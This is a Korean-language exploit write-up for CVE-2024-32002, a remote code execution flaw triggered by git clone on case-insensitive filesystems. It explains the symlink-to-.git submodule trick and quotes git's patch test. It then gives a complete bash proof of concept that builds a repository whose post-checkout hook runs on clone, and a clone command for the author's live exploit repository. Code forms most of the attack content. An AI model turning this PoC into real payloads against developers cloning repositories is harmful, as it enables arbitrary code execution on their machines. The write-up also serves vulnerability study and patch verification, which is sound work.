Share
## https://sploitus.com/exploit?id=D815A4F5-422B-5F77-BF23-ABAC39C8C0E7
# git clone์ ํตํ Remote Code Execution ๊ณต๊ฒฉ (CVE-2024-32002)
<strong>๊ธฐ์ฌ์</strong>
<br/>
- [์ด์ ์ฐ@Roronoawjd](https://github.com/Roronoawjd)
## ๋ฐฐ๊ฒฝ ์ค๋ช
ํด๋น ์ทจ์ฝ์ ์ ๋์๋ฌธ์๋ฅผ ๊ตฌ๋ถํ์ง ์๋ Windows, MacOS์ ๊ฐ์ ํ์ผ ์์คํ
์์ submodule์ ํฌํจํ๋ git ์ ์ฅ์๋ฅผ cloneํ ๋ ๋ฐ์ํ๋ `RCE(Remote Code Execution)` ์ทจ์ฝ์ ์ด๋ค. RCE๋ ์๊ฒฉ ์ฝ๋ ์คํ ์ทจ์ฝ์ ์ผ๋ก ๊ณต๊ฒฉ์๊ฐ ๋์ ์์คํ
์์ ์ํ๋ ๋ช
๋ น์ด๋ฅผ ์คํํ ์ ์๋ ์์ฃผ ์น๋ช
์ ์ธ ์ทจ์ฝ์ ์ด๋ค.
`A/modules/x` ๊ณผ `a/modules/x`์ ๋์ผํ ๊ฒฝ๋ก๋ก ์ทจ๊ธ๋๋ค. ์ด๋ฌํ ํน์ง๊ณผ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ํ์ฉํ์ฌ ์ทจ์ฝ์ ์ ์ ๋ฐํ๋ค.
## ์ทจ์ฝ์ ์ ๋ณด
- ํด๋น POC๋ Windows์ MAC ์์คํ
์์๋ง ๋์ํฉ๋๋ค.
- `git config --global core.symlinks false`๋ก ์ค์ ๋ ๊ฒฝ์ฐ์๋ ๊ณต๊ฒฉ์ด ์๋ํ์ง ์์ต๋๋ค.
## ์ทจ์ฝ์ ๋ถ์
[์ทจ์ฝ์ ํจ์น ํ์ธ](https://github.com/git/git/commit/97065761333fd62db1912d81b489db938d8c991d)
### `builtin/submodule--helper.c`
dir_contains_only_dotgit ํจ์: ๋๋ ํฐ๋ฆฌ์ .git ํ์ผ๋ง ํฌํจ๋์ด ์๋์ง ๋ค๋ฅธ ๋๋ ํฐ๋ฆฌ๋ ํฌํจ๋์ด ์๋์ง ํ์ธํ๊ณ ๋ค๋ฅธ ํ์ผ์ด๋ ๋๋ ํฐ๋ฆฌ๊ฐ ์์ผ๋ฉด ์ค๋ฅ๋ฅผ ๋ฐํํ๋ค.
clone_submodule ํจ์: cloneํ๊ธฐ ์ ์ ํ์ ๋ชจ๋ ๋๋ ํ ๋ฆฌ๊ฐ ์กด์ฌํ๊ณ ๋น์ด์๋์ง ํ์ธํ๋ค.
### `t/t7406-submodule-update.sh`
### 1. Global ๊ตฌ์ฑ
```sh
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
```
- ํด๋น ์คํฌ๋ฆฝํธ๋ Git ๊ตฌ์ฑ ์ต์
์ ์ค์ ํ๋ค. protocol.file.allow always๋ฅผ ํตํด Git์ ํ์ผ ํ๋กํ ์ฝ์ ํ์ฑํ ํ๋ค.
- core.symlinks true๋ฅผ ์ค์ ํ์ฌ ์ฌ๋ณผ๋ฆญ ๋งํฌ ์ฌ์ฉ์ ํ์ฉํ๋ค.
- tell_tale_path๋ RCE๊ฐ ์ ๋๋ก ์ ์๋๋ฌ๋์ง ํ์ธํ๋๋ฐ ์ฌ์ฉํ๋ค.
### 2. hook ์ค์
```sh
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
```
- hook ๋ ํผ์งํ ๋ฆฌ๋ฅผ ์ด๊ธฐํ ํ๋ค.
- post-checkout์ด๋ผ๋ hook์ ์์ฑ
- hook ์คํฌ๋ฆฝํธ๋ฅผ ์ ์ฅ์์ ์ปค๋ฐ
### 3. ๋ฉ์ธ ์ ์ฅ์ ์ค์
```sh
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
```
- hook์ ๊ฒฝ๋ก ์ ์ฅ
- captin์ด๋ผ๋ ๋ค๋ฅธ ๋ ํผ์งํ ๋ฆฌ ์ด๊ธฐํ
- hook ์ ์ฅ์๋ฅผ `A/modules/x`์ ํ์๋ชจ๋๋ก ์ถ๊ฐํ ํ ์ปค๋ฐ
- .git์ ๊ฐ๋ฆฌํค๋ a๋ผ๋ ์ฌ๋ณผ๋ฆญ๋งํฌ ์์ฑ
### 4. ํ
์คํธ
```sh
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
```
- RCE๊ฐ ์๋๋๋์ง ํ์ธ
### POC ์ ์
```sh
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define the hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
git clone --recursive captain hooked
```
git์ ํน์ ์ด๋ฒคํธ๊ฐ ์๊ฒผ์ ๋ ์๋์ผ๋ก ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์๋๋กํ๋ hook์ด๋ผ๋ ๊ฒ์ด ์กด์ฌํ๋ค. ์์น๋ .git/hooks ๋๋ ํ ๋ฆฌ์ ์กด์ฌํ๋ค.
post-checkout์ checkoutํ ํ์ ์คํ๋๋ ์คํฌ๋ฆฝํธ์ด๋ค.
![image](https://github.com/Roronoawjd/git_rce/assets/105417063/95806f9f-1f69-46df-a71e-ac6bf97b318b)
์์๋ ๋ค์๊ณผ ๊ฐ๋ค.
1. clone ์ ์ฅ์ git_rce์ `.git`์ ๊ฐ๋ฆฌํค๋ ์ฌ๋ณผ๋ฆญ ๋งํฌ `a`๊ฐ ์์ฑ
2. git cloneํ ๋ ํ์ ๋ชจ๋์ ๊ฒฝ๋ก๊ฐ `A/modules/x`๊ฐ ์๋๋ผ `a/modules/x`๋ก ์ธ์๋จ
3. `a`๋ `.git`์ ๊ฐ๋ฆฌํค๊ธฐ ๋๋ฌธ์ `.git`์ `/modules/x`๊ฐ ์๊ธฐ๊ณ `y/hooks/post-checkout`์ด ์์ฑ๋จ
4. checkout ์ฑ๊ณต ํ ์๋ ํ `git_rce/.git/modules/x/y/hooks/post-checkout`๊ฐ ์คํ๋์ด RCE๊ฐ ๋ฐ์ํจ
## POC(Proof of Concept)
โ ๏ธ๊ฒฝ๊ณ : ํด๋น ์ทจ์ฝ์ ์ ์
์์ ์ผ๋ก ์ฌ์ฉํ์ง ๋ง์์ค!
<pre><code>git clone --recursive https://github.com/Roronoawjd/git_rce.git</code></pre>
์ฐธ๊ณ : Windows์์๋ ๊ด๋ฆฌ์ ๊ถํ์ผ๋ก cmd๋ bash์์ ์ด์ด์ ์คํํด์ผ ํฉ๋๋ค.